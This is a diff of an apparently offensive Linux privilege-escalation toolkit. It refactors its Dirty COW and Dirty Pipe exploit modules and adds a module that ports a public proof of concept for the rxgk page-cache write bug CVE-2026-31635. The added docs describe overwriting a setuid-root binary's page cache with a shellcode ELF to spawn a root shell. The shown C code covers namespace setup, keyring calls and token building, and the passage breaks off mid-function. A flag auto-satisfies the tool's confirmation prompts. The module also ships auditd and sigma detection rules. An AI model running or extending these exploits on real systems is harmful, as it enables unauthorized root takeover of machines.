if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||
return true;
|
||||
}
|
||||
|
||||
char buf[128];
|
||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
||||
* is redirected to stderr. Set by --json. */
|
||||
extern bool dirtyfail_json;
|
||||
|
||||
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||
* stdin — the caller has already cleared an explicit authorization gate.
|
||||
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||
* (i.e. the --i-know flag) so non-interactive runs like
|
||||
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||
extern bool dirtyfail_assume_yes;
|
||||
|
||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
@@ -43,15 +43,19 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
@@ -228,22 +232,27 @@ static void revert_passwd_page_cache(void)
|
||||
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
@@ -258,7 +267,10 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -318,6 +330,34 @@ static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||
* surface. Stub out cleanly so the module still registers and
|
||||
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||
* the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
|
||||
@@ -32,7 +32,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
@@ -42,6 +41,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
@@ -254,22 +258,27 @@ static int dirty_pipe_active_probe(void)
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
@@ -284,7 +293,7 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
"(version %s)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
@@ -307,14 +316,14 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
"use --active to confirm empirically)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
@@ -328,17 +337,20 @@ static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. */
|
||||
/* Resolve current user. Consult ctx->host->is_root for the
|
||||
* already-root short-circuit so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
* with "0000" of identical width. Refuse if the user's UID width
|
||||
@@ -407,6 +419,34 @@ static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# dirtydecrypt — CVE-2026-31635
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||
When the skb fragment pages are page-cache pages — spliced in via
|
||||
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||
page cache of a read-only file.
|
||||
|
||||
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||
|
||||
## Primitive
|
||||
|
||||
Each `fire()`:
|
||||
|
||||
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||
completes the rxgk handshake.
|
||||
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||
whose **payload pages come from the target file's page cache**
|
||||
(`splice` + `vmsplice`).
|
||||
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||
check then fails (expected), but the page cache is already mutated.
|
||||
|
||||
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||
fixed. Net cost ≈ 256 fires per byte.
|
||||
|
||||
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||
`setuid(0)` + `execve("/bin/sh")`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||
- A readable setuid-root binary to use as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned** against the mainline fix commit
|
||||
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||
tracker confirms older stable branches as <not-affected, vulnerable
|
||||
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||
the version check misses.
|
||||
|
||||
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||
for CVE-2026-31635 is the source of truth for branch-backport
|
||||
thresholds; extend the `kernel_range` table when distros publish
|
||||
stable backports.
|
||||
@@ -0,0 +1,47 @@
|
||||
# NOTICE — dirtydecrypt
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||
|
||||
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||
primitives that abuse a missing COW boundary.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||
V12 security team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||
|
||||
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||
`LICENSE` header of its own — its header is a purely technical
|
||||
description of the bug. The credit above is from the public
|
||||
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||
flaw; its fix commit is not pinned in this module (see below).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||
`skeletonkey_module` interface. The exploit primitive — the
|
||||
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||
sentinel probe, `--no-shell` support, and the embedded detection
|
||||
rules. Research credit belongs to the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||
`detect()` does not perform a kernel-version patched/vulnerable
|
||||
verdict — see `MODULE.md`.
|
||||
@@ -0,0 +1,28 @@
|
||||
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||
#
|
||||
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||
# file. These rules flag the syscall surface the exploit drives and
|
||||
# writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||
|
||||
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||
|
||||
# rxrpc security keys added to the process keyring
|
||||
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||
|
||||
# splice() drives page-cache pages into the forged DATA packet
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the rxgk page-cache write
|
||||
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||
a credential file.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/usr/bin/mount'
|
||||
- '/usr/bin/passwd'
|
||||
- '/usr/bin/chsh'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.31635
|
||||
@@ -0,0 +1,963 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
|
||||
*
|
||||
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
|
||||
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
|
||||
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
|
||||
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
|
||||
* When skb frag pages are page-cache pages (spliced in via
|
||||
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
|
||||
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
|
||||
*
|
||||
* This module is a faithful port of the public V12 security PoC
|
||||
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
|
||||
* Luna Tong / "cts"). The exploit primitive (the sliding-window
|
||||
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
|
||||
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
|
||||
*
|
||||
* Port adaptations vs. the standalone PoC:
|
||||
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||
* exit()/die() paths cannot tear down the skeletonkey dispatcher
|
||||
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
|
||||
* - adds an --active sentinel probe that fires the primitive against
|
||||
* a disposable /tmp file instead of a setuid binary
|
||||
* - the on-disk binary is never written; cleanup() evicts the page
|
||||
* cache (the corruption is a page-cache-only write)
|
||||
*
|
||||
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
|
||||
* pinned in this module, so detect() does not do a version-based
|
||||
* patched/vulnerable verdict — see detect() and MODULE.md.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||
* Makefile; do not redefine here (warning: redefined). */
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
#include <poll.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#ifdef __has_include
|
||||
# if __has_include(<linux/rxrpc.h>)
|
||||
# include <linux/if.h>
|
||||
# include <linux/rxrpc.h>
|
||||
# include <linux/keyctl.h>
|
||||
# else
|
||||
# define DD_NEED_RXRPC_DEFS
|
||||
# endif
|
||||
#else
|
||||
# include <linux/if.h>
|
||||
# include <linux/rxrpc.h>
|
||||
# include <linux/keyctl.h>
|
||||
#endif
|
||||
|
||||
#ifndef AF_RXRPC
|
||||
#define AF_RXRPC 33
|
||||
#endif
|
||||
#ifndef SOL_RXRPC
|
||||
#define SOL_RXRPC 272
|
||||
#endif
|
||||
|
||||
#ifdef DD_NEED_RXRPC_DEFS
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#define RXRPC_SECURITY_KEY 1
|
||||
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||
#define RXRPC_SECURITY_ENCRYPT 2
|
||||
#define RXRPC_USER_CALL_ID 1
|
||||
struct sockaddr_rxrpc {
|
||||
unsigned short srx_family;
|
||||
uint16_t srx_service;
|
||||
uint16_t transport_type;
|
||||
uint16_t transport_len;
|
||||
union {
|
||||
unsigned short family;
|
||||
struct sockaddr_in sin;
|
||||
struct sockaddr_in6 sin6;
|
||||
} transport;
|
||||
};
|
||||
#endif
|
||||
|
||||
#define RXGK_SECURITY_INDEX 6
|
||||
#define ENCTYPE_AES128_CTS 17
|
||||
#define AES_KEY_LEN 16
|
||||
|
||||
struct rxrpc_wire_header {
|
||||
uint32_t epoch;
|
||||
uint32_t cid;
|
||||
uint32_t callNumber;
|
||||
uint32_t seq;
|
||||
uint32_t serial;
|
||||
uint8_t type;
|
||||
uint8_t flags;
|
||||
uint8_t userStatus;
|
||||
uint8_t securityIndex;
|
||||
uint16_t cksum;
|
||||
uint16_t serviceId;
|
||||
} __attribute__((packed));
|
||||
|
||||
#define RXRPC_PACKET_TYPE_DATA 1
|
||||
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||
#define RXRPC_LAST_PACKET 0x04
|
||||
|
||||
/* dd_verbose gates step/status chatter; errors always print. Set per
|
||||
* invocation from !ctx->json before any helper runs. */
|
||||
static int dd_verbose = 1;
|
||||
#define LOG(fmt, ...) do { if (dd_verbose) \
|
||||
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
/* Candidate setuid-root targets, in preference order. */
|
||||
static const char *const dd_targets[] = {
|
||||
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
||||
};
|
||||
|
||||
/* --- helpers (faithful to the V12 PoC) --- */
|
||||
|
||||
static long key_add(const char *type, const char *desc,
|
||||
const void *payload, size_t plen, int ringid)
|
||||
{
|
||||
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||
}
|
||||
|
||||
static int write_proc(const char *path, const char *buf)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return -1;
|
||||
int n = write(fd, buf, strlen(buf));
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
|
||||
static void setup_ns(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
if (unshare(CLONE_NEWNET) < 0) {
|
||||
perror("unshare");
|
||||
_exit(4);
|
||||
}
|
||||
} else {
|
||||
write_proc("/proc/self/setgroups", "deny");
|
||||
char map[64];
|
||||
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||
write_proc("/proc/self/uid_map", map);
|
||||
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||
write_proc("/proc/self/gid_map", map);
|
||||
}
|
||||
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s >= 0) {
|
||||
struct ifreq ifr = {0};
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
}
|
||||
|
||||
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||
{
|
||||
uint32_t nv = htonl(val);
|
||||
memcpy(*pp, &nv, 4);
|
||||
*pp += 4;
|
||||
}
|
||||
|
||||
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||
{
|
||||
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||
}
|
||||
|
||||
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||
{
|
||||
xdr_put32(pp, (uint32_t)len);
|
||||
memcpy(*pp, data, len);
|
||||
*pp += len;
|
||||
size_t pad = (4 - (len & 3)) & 3;
|
||||
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||
}
|
||||
|
||||
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||
const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
uint8_t *p = out;
|
||||
struct timespec ts;
|
||||
clock_gettime(CLOCK_REALTIME, &ts);
|
||||
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||
(uint64_t)ts.tv_nsec / 100ULL;
|
||||
|
||||
xdr_put32(&p, 0); /* flags */
|
||||
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||
xdr_put32(&p, 1); /* ntoken */
|
||||
|
||||
uint8_t tok[512];
|
||||
uint8_t *tp = tok;
|
||||
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||
xdr_put64(&tp, now); /* begintime */
|
||||
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||
